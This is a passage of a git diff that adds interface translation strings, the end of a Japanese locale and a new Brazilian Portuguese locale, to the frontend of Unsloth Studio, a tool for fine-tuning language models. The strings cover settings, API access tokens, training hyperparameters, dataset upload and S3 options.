+      gradNorm: "Grad Norm",
+      gradientNorm: "勾配ノルム",
+      step: "ステップ {step}",
+      averageValue: "平均 {value}",
+      waitingForFirstEvaluationStep: "最初の評価ステップを待機中...",
+      evaluationNotConfigured: "評価が設定されていません",
+      evalChartWillAppear: "eval_steps に達するとチャートが表示されます",
+      setEvalDatasetAndSteps: "評価 Loss を追跡するには、評価データセットと eval_steps を設定してください",
+    },
+    progress: {
+      title: "トレーニング進捗",
+      liveMetrics: "リアルタイムトレーニングメトリクス",
+      exportGguf: "GGUF へエクスポート",
+      openConfig: "トレーニング構成を開く",
+      configLabel: "トレーニング構成",
+      hyperparams: "ハイパーパラメーター",
+      epochs: "エポック数",
+      batchSize: "バッチサイズ",
+      learningRate: "学習率",
+      optimizer: "オプティマイザー",
+      maxSteps: "最大ステップ数",
+      contextLength: "コンテキスト長",
+      warmupSteps: "ウォームアップステップ数",
+      rank: "Rank",
+      alpha: "Alpha",
+      dropout: "Dropout",
+      variant: "バリアント",
+      epoch: "エポック {value}",
+      percentComplete: "{percent}% 完了",
+      stepProgress: "ステップ {current} / {total}",
+      loss: "Loss",
+      lr: "LR",
+      gradNorm: "Grad Norm",
+      project: "プロジェクト",
+      model: "モデル",
+      method: "手法",
+      elapsed: "経過時間: {value}",
+      eta: "残り時間 (ETA): {value}",
+      stepsPerSecond: "{value} ステップ/秒",
+      noStepsPerSecond: "-- ステップ/秒",
+      tokens: "トークン数: {value}",
+      gpuMonitor: "GPU モニター",
+      live: "ライブ",
+      utilization: "使用率",
+      temperature: "温度",
+      vram: "VRAM",
+      power: "電力",
+      phase: {
+        idle: "アイドル",
+        downloadingModel: "モデルをダウンロード中",
+        downloadingDataset: "データセットをダウンロード中",
+        loadingModel: "モデルを読み込み中",
+        loadingDataset: "データセットを読み込み中",
+        configuring: "構成中",
+        training: "トレーニング中",
+        completed: "完了",
+        error: "エラー",
+        stopped: "停止",
+      },
+    },
+    trainingStart: {
+      ready: "準備完了",
+      downloading: "ダウンロード中",
+      preparing: "準備中",
+      left: "残り {eta}",
+      downloaded: "{size} ダウンロード済み",
+      terminalStart: "> unsloth トレーニングを開始します...",
+      preparingResources: "> モデルとデータセットを準備中...",
+      gettingReady: "> 実行の準備を整えています...",
+      waitingForFirstStep: "> {message} | 最初のステップを待機中... ({step})",
+      resumingTraining: "トレーニングを再開しています...",
+      startingTraining: "トレーニングを開始しています...",
+      dataset: "データセット",
+      datasetStreaming: "データセット: ストリーミング（完全なダウンロードなし）",
+      modelWeights: "モデルの重み",
+    },
+    tour: {
+      guidedTour: "ガイドツアー",
+    },
+  },
+} as const;
diff --git a/studio/frontend/src/i18n/locales/pt-br.ts b/studio/frontend/src/i18n/locales/pt-br.ts
new file mode 100644
index 0000000000..c261e4ed0c
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/pt-br.ts
@@ -0,0 +1,934 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export const ptBR = {
+  common: {
+    cancel: "Cancelar",
+    close: "Fechar",
+    delete: "Excluir",
+    done: "Concluído",
+    error: "Erro",
+    export: "Exportar",
+    help: "Ajuda",
+    loading: "Carregando...",
+    new: "Novo",
+    rename: "Renomear",
+    save: "Salvar",
+    saving: "Salvando...",
+    search: "Buscar",
+    shutdown: "Desligar",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Menu de conta {name}",
+    updateAvailable: "Atualização disponível",
+    aria: {
+      home: "Início do Unsloth",
+      closeSidebar: "Fechar barra lateral",
+      openSidebar: "Abrir barra lateral",
+      chatOptions: "Opções de chat",
+      runOptions: "Opções de execução",
+    },
+    navigation: {
+      newChat: "Novo Chat",
+      returnToChat: "Retornar ao Chat",
+      compare: "Comparar",
+      search: "Buscar",
+      hub: "Hub",
+      train: "Treinar",
+      recipes: "Receitas",
+      export: "Exportar",
+      recents: "Recentes",
+      settings: "Configurações",
+      api: "API",
+      lightMode: "Modo Claro",
+      darkMode: "Modo Escuro",
+      guidedTour: "Tour Guiado",
+      help: "Ajuda",
+      logOut: "Sair",
+      shutdown: "Desligar",
+    },
+    notFound: {
+      title: "Página não encontrada",
+      description: "{path} não existe.",
+      backToChat: "Voltar para o chat",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Excluir chat",
+        description: 'Tem certeza de que deseja excluir este chat "{name}"?',
+      },
+      deleteRun: {
+        title: "Excluir execução de treino",
+        description: 'Tem certeza de que deseja excluir esta execução "{name}"?',
+      },
+      renameChat: {
+        title: "Renomear chat",
+        placeholder: "Título do chat",
+      },
+      renameRun: {
+        title: "Renomear execução",
+        placeholder: "Nome da execução",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "Não é possível excluir uma execução de treino em andamento",
+      failedToDeleteChat: "Falha ao excluir o chat",
+      failedToDeleteRun: "Falha ao excluir a execução",
+      failedToRenameChat: "Falha ao renomear o chat",
+      failedToRenameRun: "Falha ao renomear a execução",
+    },
+  },
+  settings: {
+    title: "Configurações",
+    dialog: {
+      title: "Configurações",
+      description: "Gerencie suas preferências do Unsloth.",
+      closeAriaLabel: "Fechar configurações",
+    },
+    tabs: {
+      general: "Geral",
+      profile: "Perfil",
+      appearance: "Aparência",
+      resources: "Sistema",
+      chat: "Chat",
+      connections: "Conexões",
+      apiKeys: "API",
+      about: "Sobre",
+    },
+    general: {
+      title: "Geral",
+      description: "Preferências globais do Unsloth.",
+      account: "Conta",
+      huggingFaceToken: "Token do Hugging Face",
+      huggingFaceTokenDescription:
+        "Usado para carregar modelos restritos e enviar artefatos.",
+      tokenSaved: "Token salvo",
+      hideToken: "Ocultar token",
+      showToken: "Mostrar token",
+      password: "Senha",
+      passwordDescription: "Altere a senha desta conta do Studio.",
+      passwordDialog: {
+        trigger: "Alterar senha",
+        title: "Alterar senha",
+        description:
+          "Insira sua senha atual e escolha uma nova (no mínimo {minLength} caracteres).",
+        currentPassword: "Senha atual",
+        newPassword: "Nova senha",
+        confirmPassword: "Confirmar nova senha",
+        currentTooShort:
+          "A senha atual deve ter no mínimo {minLength} caracteres.",
+        newTooShort: "A nova senha deve ter no mínimo {minLength} caracteres.",
+        mismatch: "As senhas não coincidem.",
+        samePassword:
+          "A nova senha deve ser diferente da senha atual.",
+        update: "Atualizar senha",
+        updating: "Atualizando...",
+        updated: "Senha atualizada.",
+        updateFailed: "Falha ao atualizar a senha.",
+      },
+      chatDefaults: "Padrões do chat",
+      autoTitleNewChats: "Gerar título automático para novos chats",
+      autoTitleNewChatsDescription:
+        "Gera um título curto a partir da primeira mensagem.",
+      helperLlm: {
+        sectionTitle: "LLM Auxiliar",
+        preloadOnStartup: "Pré-carregar LLM Auxiliar na inicialização",
+        preloadOnStartupDescription:
+          "Baixa o modelo auxiliar do Assistente de IA em segundo plano ao iniciar. Desativado por padrão; o Assistente de IA ainda pode buscá-lo sob demanda.",
+        disabledByEnv:
+          "Desativado por UNSLOTH_HELPER_MODEL_DISABLE no ambiente de backend.",
+        loadError: "Falha ao carregar as configurações do LLM Auxiliar.",
+        saveError: "Falha ao salvar as configurações do LLM Auxiliar.",
+      },
+      notifications: {
+        sectionTitle: "Notificações",
+        showLlamaUpdates: "Notificações de atualização do llama.cpp",
+        showLlamaUpdatesDescription:
+          "Notifica quando uma nova versão do llama.cpp estiver disponível. Desative se você apenas realiza treinos.",
+      },
+      gettingStarted: "Primeiros passos",
+      startOnboarding: "Iniciar integração",
+      startOnboardingDescription:
+        "Reabre o assistente de configuração sem alterar sua conta.",
+      startOnboardingAction: "Iniciar integração",
+      uploads: {
+        sectionTitle: "Uploads",
+        maxUploadSize: "Limite de upload do dataset de treino",
+        maxUploadSizeDescription:
+          "O padrão é {defaultSize} MB.",
+      },
+      storage: {
+        sectionTitle: "Armazenamento",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription:
+          "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      resetPreferences: {
+        sectionTitle: "Zona de perigo",
+        label: "Redefinir todas as preferências locais",
+        description:
+          "Limpa apenas as preferências locais. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        action: "Redefinir preferências",
+        confirmTitle: "Redefinir todas as preferências locais?",
+        confirmDescription:
+          "Limpa as preferências locais e recarrega o Unsloth. Chats, acesso à API e configurações salvas no banco de dados são mantidos.",
+        confirmAction: "Redefinir e recarregar",
+      },
+    },
+    profile: {
+      title: "Perfil",
+      description: "Como seu perfil aparece no Unsloth.",
+      changePicture: "Alterar foto de perfil",
+      displayName: "Nome de exibição",
+      nickname: "Como o Unsloth deve chamar você?",
+      nicknamePlaceholder: "Apelido",
+      nicknameSaved: "Nome preferido salvo",
+      avatarShape: "Formato da foto de perfil",
+      avatarShapeCircle: "Círculo",
+      avatarShapeRounded: "Arredondado",
+      chooseSloth: "Ou escolha uma preguiça",
+      nameSaved: "Nome de perfil salvo",
+      namePersistErrorTitle: "Não foi possível persistir o nome de perfil",
+      namePersistErrorDescription:
+        "Nome atualizado para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdated: "Foto de perfil atualizada",
+      photoPersistErrorTitle: "Não foi possível persistir a foto de perfil",
+      photoPersistErrorDescription:
+        "Foto atualizada para esta sessão, mas pode não persistir após recarregar.",
+      photoUpdateErrorTitle: "Não foi possível atualizar a foto de perfil",
+      imageUseError: "Não foi possível usar esta imagem.",
+    },
+    appearance: {
+      title: "Aparência",
+      description: "Como o Unsloth Studio se parece neste dispositivo.",
+      theme: {
+        title: "Tema",
+        label: "Esquema de cores",
+        description: "Claro, escuro ou seguir o sistema.",
+        system: "Sistema",
+        light: "Claro",
+        dark: "Escuro",
+      },
+      language: {
+        title: "Idioma",
+        label: "Idioma de exibição",
+        description: "O idioma utilizado pelo Unsloth.",
+      },
+      layout: {
+        title: "Layout",
+        compactSidebar: "Fixar barra lateral por padrão",
+        compactSidebarDescription:
+          "Mantém a barra lateral expandida em vez de recolhê-la em ícones.",
+      },
+    },
+    resources: {
+      title: "Sistema",
+      description: "Monitore o hardware e o armazenamento deste servidor Studio.",
+      liveUpdates: "Atualizações ao vivo",
+      floatingWindow: "Janela flutuante",
+      disableOverlay: "Desativar sobreposição",
+      liveMonitor: {
+        title: "Monitor ao vivo",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Disco",
+        vram: "VRAM",
+        cpuCores: "{logical} lógicos / {physical} físicos",
+        currentLoad: "Carga atual",
+        free: "{value} livres",
+        noGpu: "Nenhuma GPU visível",
+      },
+      gpu: {
+        title: "Dispositivos GPU",
+        noGpu: "Nenhuma GPU visível detectada. Os recursos somente CPU aparecem acima.",
+        unknownDevice: "GPU desconhecida",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} usados",
+        free: "{value} livres",
+        total: "{value} total",
+      },
+      storage: {
+        title: "Armazenamento",
+        systemDisk: "Disco do sistema",
+        diskUsage: "{used} usados / {total}",
+        diskFree: "{free} livres",
+        modelsFolder: "Pasta de modelos",
+        modelsFolderDescription: "Onde os modelos baixados são armazenados.",
+        openAction: "Abrir",
+        copyAction: "Copiar caminho",
+        copied: "Caminho copiado",
+        openError: "Não foi possível abrir a pasta",
+        copyError: "Não foi possível copiar o caminho",
+      },
+      environment: {
+        title: "Ambiente",
+        backend: "Backend",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Tempo ativo",
+        processMemory: "Memória do processo",
+        notInstalled: "Não instalado",
+        unknown: "Desconhecido",
+      },
+    },
+    chat: {
+      title: "Chat",
+      description: "Gerencie o histórico de chat armazenado neste dispositivo.",
+      modelDisclaimer: "Mostrar aviso do modelo",
+      modelDisclaimerDescription:
+        'Mostra "LLMs podem cometer erros" abaixo da caixa de chat.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Recolher blocos HTML",
+        collapseHtmlBlocksDescription:
+          "O modo Canvas recolhe o HTML completo automaticamente. Ative isso para também recolher documentos HTML delimitados quando o Canvas estiver desativado.",
+        allowNetworkAccess: "Permitir acesso à rede no canvas",
+        allowNetworkAccessDescription:
+          "Permite que as pré-visualizações do canvas carreguem scripts, estilos, fontes, mídia e recursos de rede de CDNs. Mantenha desativado para pré-visualizações totalmente offline.",
+      },
+      data: "Dados",
+      exportHistory: "Exportar histórico de chat",
+      exportHistoryDescription:
+        "Baixe todos os chats e mensagens em formato JSON.",
+      exportAction: "Exportar",
+      exportingAction: "Exportando...",
+      exportConversations: "Exportar Recentes e Projetos",
+      exportConversationsDescription:
+        "Baixe os Recentes ou Recentes mais chats de projetos como JSONL bruto, CSV ou ShareGPT JSONL, combinados ou por chat.",
+      exportConversationsAction: "Exportar",
+      exportScopeRecents: "Recentes",
+      exportScopeAll: "Recentes + Projetos",
+      exportCombinedSuffix: "(combinado)",
+      exportPerChatSuffix: "(por chat)",
+      importChats: "Importar chats",
+      importChatsDescription:
+        "Importe um arquivo exportado em JSONL, NDJSON ou CSV para os Recentes.",
+      importChatsAction: "Importar",
+      importNoConversations: "Nenhuma conversa encontrada no arquivo.",
+      importedOneChat: "Importada 1 conversa para os Recentes.",
+      importedChatCount: "Importadas {count} conversas para os Recentes.",
+      importFailed: "Falha na importação.",
+      clearHistory: "Limpar histórico de chat",
+      clearHistoryDescription: "Exclui o histórico de chat deste dispositivo.",
+      clearAction: "Limpar",
+      clearAllChats: "Limpar todos os chats",
+      clearAllChatsDescription: "Exclui permanentemente todos os chats deste dispositivo.",
+      noChatsToClear: "Nenhum chat para limpar.",
+      clearOneChatDescription:
+        "Exclui permanentemente o único chat deste dispositivo.",
+      clearChatCountDescription:
+        "Exclui permanentemente todos os {count} chats deste dispositivo.",
+      clearChatsAction: "Limpar chats",
+      clearOneChatTitle: "Limpar 1 chat?",
+      clearChatsTitle: "Limpar {count} chats?",
+      clearChatsConfirmDescription:
+        "Exclui permanentemente todos os chats deste dispositivo. Esta ação não pode ser desfeita.",
+      clearingAction: "Limpando...",
+      clearOneChatAction: "Limpar 1 chat",
+      clearChatCountAction: "Limpar {count} chats",
+      clearedAllChats: "Todos os chats foram limpos",
+      clearedOneChat: "1 chat foi limpo",
+      clearedChatCount: "{count} chats foram limpos",
+      someChatsCouldNotBeCleared: "Não foi possível limpar alguns chats",
+      chatsClearedRemainOne:
+        "{clearedCount} chats limpos; 1 chat restante. Por favor, tente novamente.",
+      chatsClearedRemain:
+        "{clearedCount} chats limpos; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemain:
+        "1 chat limpo; {remainingCount} chats restantes. Por favor, tente novamente.",
+      oneChatClearedRemainOne: "1 chat limpo; 1 chat restante. Por favor, tente novamente.",
+      storageClearFailedOne:
+        "Falha ao limpar o armazenamento; 1 chat pode ter restado. Por favor, tente novamente.",
+      storageClearFailed:
+        "Falha ao limpar o armazenamento; {count} chats podem ter restado. Por favor, tente novamente.",
+      failedToClearChats: "Falha ao limpar os chats",
+    },
+    connections: {
+      title: "Conexões",
+      description: "Gerencie provedores e conexões externas.",
+    },
+    apiKeys: {
+      title: "API",
+      description:
+        "Acesse o Unsloth por meio da API compatível com OpenAI.",
+      readDocs: "Leia a documentação da API",
+      noAccess: "Nenhum acesso à API ainda.",
+      newBadge: "Novo",
+      accessTokens: "Tokens de acesso",
+      loadError: "Não foi possível carregar o acesso à API.",
+      createError: "Não foi possível criar o token de acesso.",
+      revokeError: "Não foi possível revogar o token de acesso.",
+      never: "Nunca",
+      tokenNamePlaceholder: "Nome do token (ex: producao)",
+      newAccessTokenName: "Nome do novo token de acesso",
+      createToken: "Criar token",
+      creating: "Criando...",
+      newTokenCreated: "Novo token de acesso criado",
+      accessTokenCopied: "Token de acesso copiado",
+      copyAccessToken: "Copiar token de acesso",
+      copyNow: "Copie agora - isto não será exibido novamente.",
+      usageExamples: "Exemplos de uso",
+      usageTools: "Ferramentas",
+      exampleCurlTools: "curl + ferramentas",
+      examplePythonTools: "Python + ferramentas",
+      exampleJavaScriptTools: "JavaScript + ferramentas",
+      exampleCurlAdvanced: "curl + avançado",
+      examplePythonAdvanced: "Python + avançado",
+      exampleJavaScriptAdvanced: "JavaScript + avançado",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS Seguro",
+      secureHttpsHint:
+        "A porta 0.0.0.0 ainda está acessível globalmente. Para segurança total, inicie o Unsloth Studio com --secure para expor apenas este link HTTPS.",
+      copyTunnelUrl: "Copiar URL do túnel",
+      copySnippet: "Copiar trecho de código",
+      copy: "Copiar",
+      copied: "Copiado",
+      setupDocs: "Docs de configuração:",
+      relativeNever: "nunca",
+      relativeJustNow: "agora mesmo",
+      relativeHoursAgo: "há {count}h",
+      relativeDaysAgo: "há {count}d",
+      relativeMonthsAgo: "há {count} meses",
+      relativeYearsAgo: "há {count} anos",
+      expired: "expirado",
+      today: "hoje",
+      inDays: "em {count}d",
+      created: "Criado {value}",
+      used: "Usado {value}",
+      expires: "Expira {value}",
+      actionsFor: "Ações para {name}",
+      copyPrefix: "Copiar prefixo",
+      revokeToken: "Revogar token",
+      revokeTitle: 'Revogar token de acesso "{name}"?',
+      revokeDescription:
+        "Aplicativos que usam este token perderão o acesso imediatamente. Esta ação não pode ser desfeita.",
+      revokeAction: 'Revogar "{name}"',
+      revoking: "Revogando...",
+    },
+    about: {
+      title: "Sobre",
+      description:
+        "Documentação, notas de lançamento, feedback e informações da build.",
+      studioVersion: "Versão do Unsloth",
+      packageVersion: "Versão do Pacote",
+      llamaCppVersion: "Versão do llama.cpp",
+      hardware: "Hardware",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Atualização",
+      help: "Ajuda",
+      documentation: "Documentação",
+      releaseNotes: "Notas de lançamento",
+      whatsNew: "O que há de novo",
+      feedback: "Feedback",
+      reportIssue: "Reportar um problema",
+      license: {
+        sectionTitle: "Licença",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription:
+          "Código aberto sob a licença GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Licenciado sob Apache 2.0.",
+      },
+      dangerZone: "Zona de perigo",
+      shutDownStudio: "Desligar Unsloth Studio",
+      shutDownStudioDescription:
+        "Interrompe o servidor Unsloth e encerra sua sessão.",
+      shutDown: "Desligar",
+      update: {
+        title: "Atualizar Unsloth Studio",
+        commandText: "Texto de {label}",
+        copied: "Copiado",
+        copyCommand: "Copiar comando",
+        commandCopied: "{label} copiado",
+        copyNamedCommand: "Copiar {label}",
+        checkingInstall: "Verificando como o Unsloth foi instalado...",
+        installIntro: "Para instalar ou atualizar o Unsloth:",
+        localUpdateHeading: "Atualização local",
+        installCommandUnix: "Comando de instalação para macOS/Linux",
+        installCommandWindows: "Comando de instalação para Windows",
+        localInstallDetected:
+          "Instalação local detectada. Atualize a partir do seu repositório original para evitar substituí-lo pelo PyPI.",
+        pullThenUpdate: "Puxe as últimas alterações (git pull) e depois execute o instalador local:",
+        gitPullCommand: "comando git pull",
+        localInstallerCommand: "comando do instalador local",
+        sourceInstallDetected:
+          "Instalação do pacote por código-fonte ou VCS detectada. Reinstale a partir do caminho local original ou URL do Git.",
+        repoCheckoutFallback:
+          "Se você ainda tiver o repositório baixado, execute o instalador local a partir dele:",
+        restartAfterUpdate: "Reinicie o Unsloth após a atualização.",
+        desktopManaged:
+          "O aplicativo de desktop mantém seu backend integrado atualizado e avisará quando uma nova versão estiver disponível.",
+        unknownInstall:
+          "Não foi possível detectar como o Unsloth foi instalado. Para instalações via instalador ou PyPI, use os comandos acima.",
+        localCheckout:
+          "Para instalações de repositório local, execute o instalador local a partir desse diretório:",
+        docs: "Docs de instalação:",
+        docsInstall: "Instalação",
+        docsUpdating: "Atualização",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Treinar",
+    title: "Estúdio de Fine-tuning",
+    subtitles: {
+      configure: "Configure e inicie o treinamento",
+      trainingInProgress: "Treinamento em andamento",
+      viewPastRuns: "Visualizar execuções de treino anteriores",
+      viewingPastRun: "Visualizando execução anterior",
+    },
+    tabs: {
+      configure: "Configurar",
+      currentRun: "Execução Atual",
+      history: "Histórico",
+    },
+    loadingRuntime: "Carregando ambiente de execução de treino...",
+    backToHistory: "Voltar ao histórico",
+    sections: {
+      model: "Modelo",
+      dataset: "Dataset",
+      params: "Parâmetros",
+      training: "Treinamento",
+      charts: "Gráficos",
+      progress: "Progresso do Treinamento",
+    },
+    configure: {
+      title: "Configurar",
+      description: "Escolha um modelo, dataset e configurações de treinamento.",
+      startTraining: "Iniciar Treinamento",
+      starting: "Iniciando...",
+      loadingModel: "Carregando modelo...",
+      checkingDataset: "Verificando dataset...",
+      trainingConfig: "Configuração de Treino",
+    },
+    model: {
+      title: "Modelo",
+      description: "Selecione o modelo base e o método de treinamento",
+      fasterTrainingBadge: "Treinamento 2x Mais Rápido",
+      baseModel: "Modelo base",
+      localModel: "Modelo Local",
+      localModelTooltip:
+        "Caminho para um modelo baixado localmente ou um repositório HF customizado.",
+      scanningLocalAndCachedModels: "Escaneando modelos locais e em cache...",
+      scanning: "Escaneando...",
+      scanningLocalModels: "Escaneando modelos locais...",
+      noLocalModelsFound: "Nenhum modelo local encontrado",
+      noLocalModelsFoundManual: "Nenhum modelo local encontrado. Insira o caminho manualmente.",
+      failedToLoadLocalModels: "Falha ao carregar modelos locais",
+      hfCache: "Cache do HF",
+      customFolders: "Pastas Customizadas",
+      localDir: "Diretório local",
+      huggingFaceModel: "Modelo do Hugging Face",
+      huggingFaceModelTooltip:
+        "Busque modelos no Hugging Face ou escolha da nossa lista recomendada.",
+      searchModels: "Buscar modelos...",
+      searching: "Buscando...",
+      noModelsFound: "Nenhum modelo encontrado",
+      needsVram: "Precisa de ~{vram}GB de VRAM (GPU: {gpu}GB)",
+      tightVram: "~{vram}GB de VRAM (limite na {gpu}GB)",
+      vramEstimate: "~{vram}GB de VRAM",
+      method: "Método",
+      methodTooltip:
+        "O QLoRA usa quantização de 4 bits para menor uso de VRAM. O LoRA usa 16 bits. O Full atualiza todos os pesos. O CPT (Continued Pretraining) treina em texto bruto para adaptar o modelo a um novo domínio sem formatação de chat.",
+      readMore: "Leia mais",
+      fullFineTune: "Fine-tune Completo (Full)",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      huggingFaceTokenOptional: "Token do Hugging Face (Opcional)",
+      continuedPretraining: "Pré-treinamento Contínuo (CPT)",
+      localModels: "Modelos locais",
+      localModelsFound: "{count} modelos locais/em cache encontrados",
+      loadingLocalModels: "Carregando modelos locais...",
+    },
+    dataset: {
+      title: "Dataset",
+      description: "Selecione ou envie os dados de treinamento",
+      source: "Origem do dataset",
+      chooseDataset: "Escolher dataset",
+      chooseDatasetTooltip:
+        "Use as abas do pop-up para alternar entre o Hugging Face e as saídas de receitas locais.",
+      localTab: "Local",
+      searchHuggingFaceDatasets: "Buscar datasets no Hugging Face...",
+      searchLocalDatasets: "Buscar datasets locais...",
+      searching: "Buscando...",
+      noDatasetsFound: "Nenhum dataset encontrado",
+      loadingLocalDatasets: "Carregando datasets locais...",
+      failedToLoadLocalDatasets: "Falha ao carregar datasets locais.",
+      noLocalDatasetsYet: "Nenhum dataset local ainda.",
+      noLocalDatasetsMatchSearch: "Nenhum dataset local corresponde à busca.",
+      openDataRecipes: "Abrir Receitas de Dados",
+      browsingSource: "Navegando em {browsing}. A seleção atual permanece {current}.",
+      localDatasets: "Datasets locais",
+      localDataset: "Dataset local",
+      localDatasetRows: " / {count} linhas",
+      huggingFaceDataset: "Dataset do Hugging Face",
+      localDatasetMetadata: "Metadados do dataset local",
+      dataRecipeOutput: "Saída da Receita de Dados.",
+      rows: "Linhas",
+      columns: "Colunas",
+      batches: "Lotes",
+      updated: "Atualizado",
+      evalDataset: "Dataset de validação (Eval)",
+      uploading: "Enviando...",
+      upload: "Upload",
+      uploadEvalFile: "Enviar arquivo de validação",
+      evalDatasetDescription:
+        "Opcional. Se não for fornecido, uma pequena parte será dividida a partir dos dados de treinamento.",
+      advanced: "Avançado",
+      targetFormat: "Formato de Destino",
+      targetFormatTooltip:
+        "Formato dos seus dados de treinamento. A detecção automática funciona para a maioria dos datasets.",
+      auto: "Auto",
+      rawText: "Texto Bruto",
+      trainSplitStart: "Início da Divisão de Treino",
+      trainSplitStartTooltip:
+        "Treine apenas em um subconjunto da sua divisão de treino especificando um índice de linha inicial (inclusivo, baseado em 0). Deixe em branco para começar da primeira linha.",
+      trainSplitEnd: "Fim da Divisão de Treino",
+      trainSplitEndTooltip:
+        "Último índice de linha a ser incluído da divisão de treino (inclusivo, baseado em 0). Por exemplo, defina o Início como 0 e o Fim como 99 para treinar nas primeiras 100 linhas. Deixe em branco para usar todas as linhas restantes.",
+      endPlaceholder: "Fim",
+      clear: "Limpar",
+      dropFileOrClick: "Solte 1 arquivo aqui ou clique para fazer upload",
+      viewDataset: "Visualizar dataset",
+      uploadFailed: "Falha no envio",
+      unknownError: "Erro desconhecido",
+      unsupportedFileType: "Tipo de arquivo não suportado",
+      uploadOneFileType: "Envie um arquivo do tipo {types}.",
+      datasetUploaded: "Dataset enviado",
+      evalDatasetUploaded: "Dataset de validação enviado",
+      uploadOneFileAtATime: "Envie um arquivo por vez",
+      uploadSingleFileDescription:
+        "O upload do dataset de treinamento aceita apenas um único arquivo.",
+      checkingToken: "Verificando token...",
+      getOrUpdateToken: "Obter ou atualizar token",
+      preview: "Pré-visualizar dataset",
+      split: "Divisão (Split)",
+      subset: "Subconjunto (Subset)",
+      s3: {
+        title: "Configuração do S3",
+        description: "Carregue datasets em .parquet, .json, .jsonl ou .csv do Amazon S3",
+        bucket: "Nome do Bucket",
+        bucketPlaceholder: "meu-bucket-de-dados-de-treino",
+        region: "Região da AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Prefixo do Caminho",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "Caminho opcional dentro do bucket para os arquivos do seu dataset",
+        accessKeyId: "ID da Chave de Acesso",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Chave de Acesso Secreta",
+        secretAccessKeyPlaceholder: "Sua chave de acesso secreta da AWS",
+        useIamRole: "Usar Função IAM",
+        useIamRoleTooltip: "Usa credenciais de função IAM em vez de chaves de acesso (recomendado para EC2/SageMaker)",
+        testConnection: "Testar Conexão",
+        connectionSuccess: "Conectado com sucesso ao bucket S3",
+        connectionFailed: "Falha ao conectar ao bucket S3",
+        comingSoon: "Integração com S3 em breve",
+        comingSoonDescription: "O carregamento de datasets do S3 requer o boto3. Este recurso está em desenvolvimento.",
+      },
+    },
+    params: {
+      title: "Parâmetros",
+      description: "Configure os hiperparâmetros de treinamento",
+      loraSettings: "Configurações do LoRA",
+      trainingHyperparameters: "Hiperparâmetros de Treinamento",
+      maxSteps: "Passos Máximos (Max Steps)",
+      epochs: "Épocas (Epochs)",
+      useMaxSteps: "Usar Passos Máximos",
+      useEpochs: "Usar Épocas",
+      maxStepsTooltip: "Sobrescreve o total de passos do otimizador.",
+      epochsTooltip: "Número de passagens completas pelo dataset.",
+      epochsDescription: "Cada época é uma passagem completa pelo seu dataset.",
+      maxStepsDescription:
+        "Limita o treinamento a um número fixo de passos do otimizador.",
+      contextLength: "Comprimento do Contexto",
+      contextLengthTooltip: "Número máximo de tokens por amostra de treinamento.",
+      customContextLength: "Insira um valor personalizado",
+      contextLengthDescription: "Comprimento máximo de sequência para amostras de treino",
+      learningRate: "Taxa de Aprendizado (Learning Rate)",
+      learningRateTooltip:
+        "Tamanho do passo para atualizações de peso. Valores menores treinam mais lentamente, mas com mais estabilidade.",
+      learningRateDescription:
+        "Recomendado: 2e-4 para LoRA, 5e-5 para CPT, 2e-5 para fine-tune completo",
+      embeddingLearningRate: "Taxa de Aprendizado do Embedding",
+      embeddingLearningRateTooltip:
+        "Usado apenas quando o CPT está treinando embed_tokens. Os embeddings são mais fáceis de desestabilizar do que os pesos LoRA, por isso geralmente precisam de um LR menor. Deixe em branco para usar lr/10; a faixa típica de funcionamento é de 2x a 10x menor que o LR principal. Aumente apenas se a adaptação de vocabulário ou de tokens de domínio estiver muito lenta.",
+      embeddingLearningRateDescription:
+        "Deixe em branco para usar lr/10 (recomendado). A faixa típica é de 2x a 10x menor que a taxa de aprendizado principal.",
+      rank: "Rank",
+      rankTooltip:
+        "Dimensão das matrizes de baixo rank. Maior = mais capacidade.",
+      alpha: "Alpha",
+      alphaTooltip: "Fator de escala para atualizações LoRA. Geralmente o dobro do rank.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Probabilidade de dropout para as camadas LoRA para reduzir o overfitting.",
+      visionLayers: "Camadas de visão",
+      languageLayers: "Camadas de linguagem",
+      attentionModules: "Módulos de atenção",
+      mlpModules: "Módulos MLP",
+      targetModules: "Módulos de Destino",
+      enableLora: "Ativar LoRA",
+      trainWithLora: "Treinar com LoRA",
+      stableRank: "Stable Rank",
+      memoryEfficient: "Eficiente em Memória",
+      optimization: "Otimização",
+      schedule: "Cronograma",
+      memory: "Memória",
+      optimizer: "Otimizador",
+      optimizerTooltip:
+        "Algoritmo de otimização. Variantes de 8 bits reduzem o uso de memória. Fused é recomendado para modelos de visão.",
+      lrScheduler: "Agendador de LR",
+      lrSchedulerTooltip:
